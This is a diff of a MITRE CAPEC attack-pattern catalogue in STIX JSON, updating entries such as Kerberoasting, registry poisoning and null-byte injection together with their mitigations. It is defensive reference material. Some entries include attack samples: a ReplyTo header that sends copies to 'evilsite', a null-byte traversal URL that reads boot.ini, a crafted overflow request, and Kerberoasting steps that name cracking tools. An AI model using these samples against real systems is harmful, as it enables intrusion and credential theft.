[ + "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" + ], + "x_capec_version": "3.3", + "type": "relationship", + "id": "relationship--c24c04d4-0e8d-43c3-bd68-829df5ceff0a", + "source_ref": "course-of-action--41704dad-06e1-4a59-9ab2-94b25763a063", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--a4986dd8-cb9c-45cb-bb53-b7549f2b8d62" + }, + { + "id": "attack-pattern--9197c7a2-6a03-40da-b2a6-df5f1d69e8fb", "name": "Kerberoasting", "description": "Through the exploitation of how service accounts leverage Kerberos authentication with Service Principal Names (SPNs), the adversary obtains and subsequently cracks the hashed credentials of a service account target to exploit its privileges. The Kerberos authentication protocol centers around a ticketing system which is used to request/grant access to services and to then access the requested services. As an authenticated user, the adversary may request Active Directory and obtain a service ticket with portions encrypted via RC4 with the private key of the authenticated account. By extracting the local ticket and saving it disk, the adversary can brute force the hashed value to reveal the target account credentials.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -30606,7 +32745,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2019-04-04T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -30615,14 +32754,62 @@ }, { "source_name": "cwe", - "url": "http://cwe.mitre.org/data/definitions/552.html", - "external_id": "CWE-552" + "url": "http://cwe.mitre.org/data/definitions/522.html", + "external_id": "CWE-522" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/308.html", + "external_id": "CWE-308" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/309.html", + "external_id": "CWE-309" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/294.html", + "external_id": "CWE-294" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/263.html", + "external_id": "CWE-263" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/262.html", + "external_id": "CWE-262" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/521.html", + "external_id": "CWE-521" + }, + { + "source_name": "ATTACK", + "description": "Steal or Forge Kerberos Tickets:Kerberoasting", + "url": "https://attack.mitre.org/wiki/Technique/T1558/003", + "external_id": "T1558.003" }, { "source_name": "reference_from_CAPEC", "description": "Jeff Warren, Extracting Service Account Passwords with Kerberoasting, 2017--05---09", "url": "https://blog.stealthbits.com/extracting-service-account-passwords-with-kerberoasting/", "external_id": "REF-559" + }, + { + "source_name": "reference_from_CAPEC", + "description": "Kerberoasting Without Mimikatz, 2016--11---01", + "url": "https://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/", + "external_id": "REF-585" + }, + { + "source_name": "reference_from_CAPEC", + "description": "Invoke-Kerberoast", + "url": "https://powersploit.readthedocs.io/en/latest/Recon/Invoke-Kerberoast/", + "external_id": "REF-586" } ], "x_capec_typical_severity": "High", @@ -30640,112 +32827,124 @@ ] }, "x_capec_abstraction": "Detailed", - "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--9197c7a2-6a03-40da-b2a6-df5f1d69e8fb" + "x_capec_example_instances": [ + "PowerSploit's Invoke-Kerberoast module can be leveraged to request Ticket Granting Service (TGS) tickets and return crackable ticket hashes. [REF-585] [REF-586]" + ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Scan for user accounts with set SPN values

    2. Techniques
    These can be found via Powershell or LDAP queries, as well as enumerating startup name accounts and other means.

  2. Request service tickets

    3. Techniques
    Using user account's SPN value, request other service tickets from Active Directory

Experiment

  1. Extract ticket and save to disk

    2. Techniques
    Certain tools like Mimikatz can extract local tickets and save them to memory/disk.

Exploit

  1. Crack the encrypted ticket to harvest plain text credentials

    2. Techniques
    Leverage a brute force application/script on the hashed value offline until cracked. The shorter the password, the easier it is to crack.
", + "x_capec_status": "Stable", + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--0257f904-bcb7-445e-9ef7-f9d294e49f67", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2019-04-04T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-509-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Monitor system and domain logs for abnormal access.", - "type": "course-of-action", - "id": "course-of-action--0257f904-bcb7-445e-9ef7-f9d294e49f67" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--445d759f-d21c-4325-a510-bd6e24de839d", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2019-04-04T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--445d759f-d21c-4325-a510-bd6e24de839d", "source_ref": "course-of-action--0257f904-bcb7-445e-9ef7-f9d294e49f67", "relationship_type": "mitigates", "target_ref": "attack-pattern--9197c7a2-6a03-40da-b2a6-df5f1d69e8fb" }, { + "id": "course-of-action--523888c0-0594-4b49-a1f3-c0cccdcec0eb", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2019-04-04T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-509-1", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Employ a robust password policy for service accounts. Passwords should be of adequate length and complexity, and they should expire after a period of time.", - "type": "course-of-action", - "id": "course-of-action--523888c0-0594-4b49-a1f3-c0cccdcec0eb" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--b2a47d13-bffb-4f8b-94f6-aeeb94afc153", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2019-04-04T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--b2a47d13-bffb-4f8b-94f6-aeeb94afc153", "source_ref": "course-of-action--523888c0-0594-4b49-a1f3-c0cccdcec0eb", "relationship_type": "mitigates", "target_ref": "attack-pattern--9197c7a2-6a03-40da-b2a6-df5f1d69e8fb" }, { + "id": "course-of-action--7659d2c2-f9c5-4599-8c79-7d29ae80e31c", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2019-04-04T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-509-2", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Employ the principle of least privilege: limit service accounts privileges to what is required for functionality and no more.", - "type": "course-of-action", - "id": "course-of-action--7659d2c2-f9c5-4599-8c79-7d29ae80e31c" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--a8893293-d02b-4ee1-9f85-56386750d82f", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2019-04-04T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--a8893293-d02b-4ee1-9f85-56386750d82f", "source_ref": "course-of-action--7659d2c2-f9c5-4599-8c79-7d29ae80e31c", "relationship_type": "mitigates", "target_ref": "attack-pattern--9197c7a2-6a03-40da-b2a6-df5f1d69e8fb" }, { + "id": "course-of-action--566e2dfe-a0ce-4bcb-8e9d-2fa5450391dc", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2019-04-04T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-509-3", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Enable AES Kerberos encryption (or another stronger encryption algorithm), rather than RC4, where possible.", - "type": "course-of-action", - "id": "course-of-action--566e2dfe-a0ce-4bcb-8e9d-2fa5450391dc" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--ee90edd2-2b62-435a-9e2e-f24f212d13ba", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2019-04-04T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--ee90edd2-2b62-435a-9e2e-f24f212d13ba", "source_ref": "course-of-action--566e2dfe-a0ce-4bcb-8e9d-2fa5450391dc", "relationship_type": "mitigates", "target_ref": "attack-pattern--9197c7a2-6a03-40da-b2a6-df5f1d69e8fb" }, { + "id": "attack-pattern--943fa8f4-b777-4f3c-984b-9f620e50c70b", "name": "Poison Web Service Registry", "description": "SOA and Web Services often use a registry to perform look up, get schema information, and metadata about services. A poisoned registry can redirect (think phishing for servers) the service requester to a malicious service provider, provide incorrect information in schema or metadata (to effect a denial of service), and delete information about service provider interfaces. WS-Addressing is used to virtualize services, provide return addresses and other routing information, however, unless the WS-Addressing headers are protected they are vulnerable to rewriting. The attacker that can rewrite WS-addressing information gains the ability to route service requesters to any service providers, and the ability to route service provider response to any service. Content in a registry is deployed by the service provider. The registry in an SOA or Web Services system can be accessed by the service requester via UDDI or other protocol. The basic flow for the attacker consists of either altering the data at rest in the registry or uploading malicious content by spoofing a service provider. The service requester is then redirected to send its requests and/or responses to services the attacker controls.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -30805,24 +33004,25 @@ "\n WS-Addressing provides location and metadata about the service endpoints. An extremely hard to detect attack is an attacker who updates the WS-Addressing header, leaves the standard service request and service provider addressing and header information intact, but adds an additional WS-Addressing Replyto header. In this case the attacker is able to send a copy (like a cc in mail) of every result the service provider generates. So every query to the bank account service, would generate a reply message of the transaction status to both the authorized service requester and an attacker service. This would be extremely hard to detect at runtime.\n http://example.com/Message\n http://valid.example/validClient\n http://evilsite/evilClient\n http://validfaults.example/ErrorHandler\n \n \n In this example \"evilsite\" is an additional reply to address with full access to all the messages that the authorized (validClient) has access to. Since this is registered with ReplyTo header it will not generate a Soap fault.\n " ], "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--943fa8f4-b777-4f3c-984b-9f620e50c70b" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "relationship--9eeb3709-308b-45ca-90e5-649033d1458c", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2014-06-23T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--9eeb3709-308b-45ca-90e5-649033d1458c", "source_ref": "course-of-action--a4112a44-a0f9-4bde-bebe-74ed96c4cd3f", "relationship_type": "mitigates", "target_ref": "attack-pattern--943fa8f4-b777-4f3c-984b-9f620e50c70b" }, { + "id": "course-of-action--cb6669ba-434f-4a26-8a80-93eacd1b68f0", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2014-06-23T00:00:00.000Z", @@ -30831,23 +33031,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Design: Harden registry server and file access permissions", - "type": "course-of-action", - "id": "course-of-action--cb6669ba-434f-4a26-8a80-93eacd1b68f0" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--0a6d5ff3-ab5c-4c1f-b8ed-5faba969ed04", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2014-06-23T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--0a6d5ff3-ab5c-4c1f-b8ed-5faba969ed04", "source_ref": "course-of-action--cb6669ba-434f-4a26-8a80-93eacd1b68f0", "relationship_type": "mitigates", "target_ref": "attack-pattern--943fa8f4-b777-4f3c-984b-9f620e50c70b" }, { + "id": "course-of-action--6bfceaeb-b87d-430f-aa56-ddb8fa9e9e6f", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2014-06-23T00:00:00.000Z", @@ -30856,23 +33058,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Implementation: Implement communications to and from the registry using secure protocols", - "type": "course-of-action", - "id": "course-of-action--6bfceaeb-b87d-430f-aa56-ddb8fa9e9e6f" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--dab8cada-a8f1-46a8-a212-2685d9e6bf9d", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2014-06-23T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--dab8cada-a8f1-46a8-a212-2685d9e6bf9d", "source_ref": "course-of-action--6bfceaeb-b87d-430f-aa56-ddb8fa9e9e6f", "relationship_type": "mitigates", "target_ref": "attack-pattern--943fa8f4-b777-4f3c-984b-9f620e50c70b" }, { + "id": "attack-pattern--56b4150a-10fd-42cd-85ff-1063625ec5f4", "name": "SaaS User Request Forgery", "description": "An adversary, through a previously installed malicious application, performs malicious actions against a third-party Software as a Service (SaaS) application (also known as a cloud based application) by leveraging the persistent and implicit trust placed on a trusted user's session. This attack is executed after a trusted user is authenticated into a cloud service, \"piggy-backing\" on the authenticated session, and exploiting the fact that the cloud service believes it is only interacting with the trusted user. If successful, the actions embedded in the malicious application will be processed and accepted by the targeted SaaS application and executed at the trusted user's privilege level.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -30909,11 +33113,11 @@ }, "x_capec_abstraction": "Standard", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--56b4150a-10fd-42cd-85ff-1063625ec5f4" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--e62f0d4e-f4f4-4170-83dc-b3e1355d1c94", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2014-06-23T00:00:00.000Z", @@ -30922,23 +33126,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "To limit one's exposure to this type of attack, tunnel communications through a secure proxy service.", - "type": "course-of-action", - "id": "course-of-action--e62f0d4e-f4f4-4170-83dc-b3e1355d1c94" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--f0e244a6-ae66-4ca3-bd73-5e27032bc927", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2014-06-23T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--f0e244a6-ae66-4ca3-bd73-5e27032bc927", "source_ref": "course-of-action--e62f0d4e-f4f4-4170-83dc-b3e1355d1c94", "relationship_type": "mitigates", "target_ref": "attack-pattern--56b4150a-10fd-42cd-85ff-1063625ec5f4" }, { + "id": "course-of-action--ac725580-35cd-425b-84ba-2c7669ba0116", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2014-06-23T00:00:00.000Z", @@ -30947,23 +33153,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Detection of this type of attack can be done through heuristic analysis of behavioral anomalies (a la credit card fraud detection) which can be used to identify inhuman behavioral patterns. (e.g., spidering)", - "type": "course-of-action", - "id": "course-of-action--ac725580-35cd-425b-84ba-2c7669ba0116" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--217875b4-959c-4ec6-a80c-6f5897b54681", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2014-06-23T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--217875b4-959c-4ec6-a80c-6f5897b54681", "source_ref": "course-of-action--ac725580-35cd-425b-84ba-2c7669ba0116", "relationship_type": "mitigates", "target_ref": "attack-pattern--56b4150a-10fd-42cd-85ff-1063625ec5f4" }, { + "id": "attack-pattern--5f69cd20-0000-4733-85d5-9bb2fdcaeb36", "name": "Infiltration of Software Development Environment", "description": "An attacker uses common delivery mechanisms such as email attachments or removable media to infiltrate the IDE (Integrated Development Environment) of a victim manufacturer with the intent of implanting malware allowing for attack control of the victim IDE environment. The attack then uses this access to exfiltrate sensitive data or information, manipulate said data or information, and conceal these actions. This will allow and aid the attack to meet the goal of future compromise of a recipient of the victim's manufactured product further down in the supply chain.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -31001,11 +33209,11 @@ "The attacker, knowing the victim runs email on a system adjacent to the IDE system, sends a phishing email with a malicious attachment to the victim. When viewed, the malicious attachment installs a backdoor that allows the attacker to remotely compromise the adjacent IDE system from the victim's workstation. The attacker is then able to exfiltrate sensitive data about the software being developed on the IDE system." ], "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--5f69cd20-0000-4733-85d5-9bb2fdcaeb36" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--3129bca1-91e3-4ec0-a117-557c84d2a92c", "name": "Hardware Component Substitution During Baselining", "description": "An attacker with access to system components during allocated baseline development can substitute a maliciously altered hardware component for a baseline component in the during the product development and research phase. This can lead to adjustments and calibrations being made in the product, so that when the final product with the proper components is deployed, it will not perform as designed and be advantageous to the attacker.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -31041,11 +33249,11 @@ "An attacker supplies the product development facility of a network security device with a hardware component that is used to simulate large volumes of network traffic. The device claims in logs, stats, and via the display panel to be pumping out very large quantities of network traffic, when it is in fact putting out very low volumes. The developed product is adjusted and configured to handle the what it believes to be a heavy network load, but when deployed at the victim site the large volumes of network traffic are dropped instead of being processed by the network security device. This allows the attacker an advantage when attacking the victim in that the attacker's presence may not be detected by the device." ], "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--3129bca1-91e3-4ec0-a117-557c84d2a92c" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--8e564ade-17a8-471e-8e2a-4dd2d556ecd2", "name": "Documentation Alteration to Circumvent Dial-down", "description": "An attacker with access to a manufacturer's documentation, which include descriptions of advanced technology and/or specific components' criticality, alters the documents to circumvent dial-down functionality requirements. This alteration would change the interpretation of implementation and manufacturing techniques, allowing for advanced technologies to remain in place even though these technologies might be restricted to certain customers, such as nations on the terrorist watch list, giving the attacker on the receiving end of a shipped product access to an advanced technology that might otherwise be restricted.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -31081,11 +33289,11 @@ "A product for manufacture exists that contains advanced cryptographic capabilities, including algorithms that are restricted from being shipped to some nations. An attacker from one of the restricted nations alters the documentation to ensure that when the product is manufactured for shipment to a restricted nation, the software compilation steps that normally would prevent the advanced cryptographic capabilities from being included are actually included. When the product is shipped to the attacker's home country, the attacker is able to retrieve and/or use the advanced cryptographic capabilities." ], "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--8e564ade-17a8-471e-8e2a-4dd2d556ecd2" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--5f0e5e3b-6889-4583-81ec-5afecbd6765e", "name": "Documentation Alteration to Produce Under-performing Systems", "description": "An attacker with access to a manufacturer's documentation alters the descriptions of system capabilities with the intent of causing errors in derived system requirements, impacting the overall effectiveness and capability of the system, allowing an attacker to take advantage of the introduced system capability flaw once the system is deployed.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -31121,11 +33329,11 @@ "A security subsystem involving encryption is a part of a product, but due to the demands of this subsystem during operation, the subsystem only runs when a specific amount of memory and processing is available. An attacker alters the descriptions of the system capabilities so that when deployed with the minimal requirements at the victim location, the encryption subsystem is never operational, leaving the system in a weakened security state." ], "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--5f0e5e3b-6889-4583-81ec-5afecbd6765e" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--3c33e08a-3a4e-4e0f-ae80-6399f6272db7", "name": "Documentation Alteration to Cause Errors in System Design", "description": "An attacker with access to a manufacturer's documentation containing requirements allocation and software design processes maliciously alters the documentation in order to cause errors in system design. This allows the attacker to take advantage of a weakness in a deployed system of the manufacturer for malicious purposes.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -31161,11 +33369,11 @@ "During operation, a firewall will restart various subsystems to reload and implement new rules as added by the user. An attacker alters the software design dependencies in the manufacturer's documentation so that under certain predictable conditions the reload will fail to load in rules resulting in a \"fail open\" state. Once deployed at a victim site, this will allow the attacker to bypass the victim's firewall." ], "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--3c33e08a-3a4e-4e0f-ae80-6399f6272db7" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--7e2a629f-eb4d-4cc9-b086-42c7395b2c3e", "name": "Embedding NULL Bytes", "description": "An attacker embeds one or more null bytes in input to the target software. This attack relies on the usage of a null-valued byte as a string terminator in many environments. The goal is for certain components of the target software to stop processing the input when it encounters the null byte(s).", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -31173,7 +33381,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -31269,41 +33477,44 @@ }, "x_capec_abstraction": "Detailed", "x_capec_example_instances": [ - "\n Directory Browsing\n Assume a Web application allows a user to access a set of reports. The path to the reports directory may be something like web/username/reports. If the username is supplied via a hidden field, an attacker could insert a bogus username such as ../../../../../WINDOWS. If the attacker needs to remove the trailing string /reports, then he can simply insert enough characters so the string is truncated. Alternatively the attacker might apply the postfix NULL character (%00) to determine whether this terminates the string.\n Different forms of NULL to think about include\n PATH%00PATH[0x00]PATH[alternate representation of NULL character]%00\n ", - "\n Exploitation of a buffer overflow vulnerability in the ActiveX component packaged with Adobe Systems Inc.'s Acrobat/Acrobat Reader allows remote attackers to execute arbitrary code.\n The problem specifically exists upon retrieving a link of the following form:\n GET /any_existing_dir/any_existing_pdf.pdf%00[long string] HTTP/1.1\n Where [long string] is a malicious crafted long string containing acceptable URI characters. The request must be made to a web server that truncates the request at the null byte (%00), otherwise an invalid file name is specified and a \"file not found\" page will be returned. Example web servers that truncate the requested URI include Microsoft IIS and Netscape Enterprise. Though the requested URI is truncated for the purposes of locating the file the long string is still passed to the Adobe ActiveX component responsible for rendering the page. This in turn triggers a buffer overflow within RTLHeapFree() allowing for an attacker to overwrite an arbitrary word in memory. The responsible instructions from RTLHeapFree() are shown here:\n 0x77F83AE5 MOV EAX,[EDI+8]0x77F83AE8 MOV ECX,[EDI+C]...0x77F83AED MOV [ECX],EAX\n The register EDI contains a pointer to a user-supplied string. The attacker therefore has control over both the ECX and EAX registers used in the shown MOV instruction.\n Successful exploitation allows remote attackers to utilize the arbitrary word overwrite to redirect the flow of control and eventually take control of the affected system. Code execution will occur under the context of the user that instantiated the vulnerable version of Adobe Acrobat.\n An attacker does not need to establish a malicious web site as exploitation can occur by adding malicious content to the end of any embedded link and referencing any Microsoft IIS or Netscape Enterprise web server. Clicking on a direct malicious link is also not required as it may be embedded within an IMAGE tag, an IFRAME or an auto-loading script.\n Successful exploitation requires that a payload be written such that certain areas of the input are URI acceptable. This includes initial injected instructions as well as certain overwritten addresses. This increases the complexity of successful exploitation. While not trivial, exploitation is definitely plausible [R.52.2].See also: CVE-2004-0629", + "\n Directory Browsing\n Assume a Web application allows a user to access a set of reports. The path to the reports directory may be something like web/username/reports. If the username is supplied via a hidden field, an attacker could insert a bogus username such as ../../../../../WINDOWS. If the attacker needs to remove the trailing string /reports, then they can simply insert enough characters so the string is truncated. Alternatively the attacker might apply the postfix NULL character (%00) to determine whether this terminates the string.\n Different forms of NULL to think about include\n PATH%00PATH[0x00]PATH[alternate representation of NULL character]%00\n ", + "\n Exploitation of a buffer overflow vulnerability in the ActiveX component packaged with Adobe Systems Inc.'s Acrobat/Acrobat Reader allows remote attackers to execute arbitrary code.\n The problem specifically exists upon retrieving a link of the following form:\n GET /any_existing_dir/any_existing_pdf.pdf%00[long string] HTTP/1.1\n Where [long string] is a malicious crafted long string containing acceptable URI characters. The request must be made to a web server that truncates the request at the null byte (%00), otherwise an invalid file name is specified and a \"file not found\" page will be returned. Example web servers that truncate the requested URI include Microsoft IIS and Netscape Enterprise. Though the requested URI is truncated for the purposes of locating the file the long string is still passed to the Adobe ActiveX component responsible for rendering the page. This in turn triggers a buffer overflow within RTLHeapFree() allowing for an attacker to overwrite an arbitrary word in memory. The responsible instructions from RTLHeapFree() are shown here:\n 0x77F83AE5 MOV EAX,[EDI+8]0x77F83AE8 MOV ECX,[EDI+C]...0x77F83AED MOV [ECX],EAX\n The register EDI contains a pointer to a user-supplied string. The attacker therefore has control over both the ECX and EAX registers used in the shown MOV instruction.\n Successful exploitation allows remote attackers to utilize the arbitrary word overwrite to redirect the flow of control and eventually take control of the affected system. Code execution will occur under the context of the user that instantiated the vulnerable version of Adobe Acrobat.\n An attacker does not need to establish a malicious web site as exploitation can occur by adding malicious content to the end of any embedded link and referencing any Microsoft IIS or Netscape Enterprise web server. Clicking on a direct malicious link is also not required as it may be embedded within an IMAGE tag, an IFRAME or an auto-loading script.\n Successful exploitation requires that a payload be written such that certain areas of the input are URI acceptable. This includes initial injected instructions as well as certain overwritten addresses. This increases the complexity of successful exploitation. While not trivial, exploitation is definitely plausible [REF-445].See also: CVE-2004-0629", "\n Consider the following PHP script:\n $whatever = addslashes($_REQUEST['whatever']);include(\"/path/to/program/\" . $whatever . \"/header.htm\");\n A malicious attacker might open the following URL, disclosing the boot.ini file:\n http://localhost/phpscript.php?whatever=../../../../boot.ini%00\n " ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Identify a place in the program where user input may be used to escalate privileges by for instance accessing unauthorized file system resources through directory browsing.

  2. An attacker realizes that there is a postfix data that gets in the way of getting to the desired resources

Exploit

  1. An attacker then ads a postfix NULL terminator to the supplied input in order to \"swallow\" the postfixed data when the insertion is taking place. With the postfix data that got in the way of the attack gone, the doors are opened for accessing the desired resources.

", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--7e2a629f-eb4d-4cc9-b086-42c7395b2c3e" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--64a972ab-fe03-40fb-86ba-13870ff9c74a", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-52-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Properly handle the NULL characters supplied as part of user input prior to doing anything with the data.", - "type": "course-of-action", - "id": "course-of-action--64a972ab-fe03-40fb-86ba-13870ff9c74a" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--947c7cf0-0535-44ac-b13f-ddb607cc9a9c", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--947c7cf0-0535-44ac-b13f-ddb607cc9a9c", "source_ref": "course-of-action--64a972ab-fe03-40fb-86ba-13870ff9c74a", "relationship_type": "mitigates", "target_ref": 